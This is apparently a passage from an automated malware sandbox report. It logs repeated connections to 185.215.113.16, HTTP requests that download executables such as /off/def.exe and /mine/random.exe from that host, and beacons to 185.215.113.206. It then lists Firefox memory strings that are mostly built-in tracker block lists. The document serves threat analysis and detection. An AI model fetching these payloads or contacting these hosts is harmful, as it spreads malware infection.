Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pub.doubleverify.com/signals/pub.jswebcompat-reporter%40mozilla.org:1.5.1FileUtils_closeAtomicFileOutputStream://www.everestjs.net/static/st.v3.js://.imgur.io/js/vendor..bundle.js@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/addons/XPIProvider.jsm://static.chartbeat.com/js/chartbeat_video.js://connect.facebook.net//all.js*browser.theme.retainedExpiredThemes equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2788242499.00000295E6803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1FileUtils_closeSafeFileOutputStream://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/FileUtils.sys.mjswebcompat-reporter@mozilla.org.xpi://static.chartbeat.com/js/chartbeat.jspictureinpicture%40mozilla.org:1.0.0@mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/facebook.svg://www.rva311.com/static/js/main..chunk.jsFileUtils_openAtomicFileOutputStreamhttps://smartblock.firefox.etp/play.svg://cdn.branch.io/branch-latest.min.js://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.jsFileUtils_openSafeFileOutputStream@mozilla.org/network/atomic-file-output-stream;1://c.amazon-adsystem.com/aax2/apstag.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://www.google-analytics.com/gtm/js://ssl.google-analytics.com/ga.js://www.google-analytics.com/analytics.js*://imasdk.googleapis.com/js/sdkloader/ima3.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/plugins/ua/ec.js://www.googletagmanager.com/gtm.js*://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://adservex.media.net/videoAds.js*://s.webtrends.com/js/webtrends.min.jsColorwayIntensityIdPostfixToL10nMap equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", 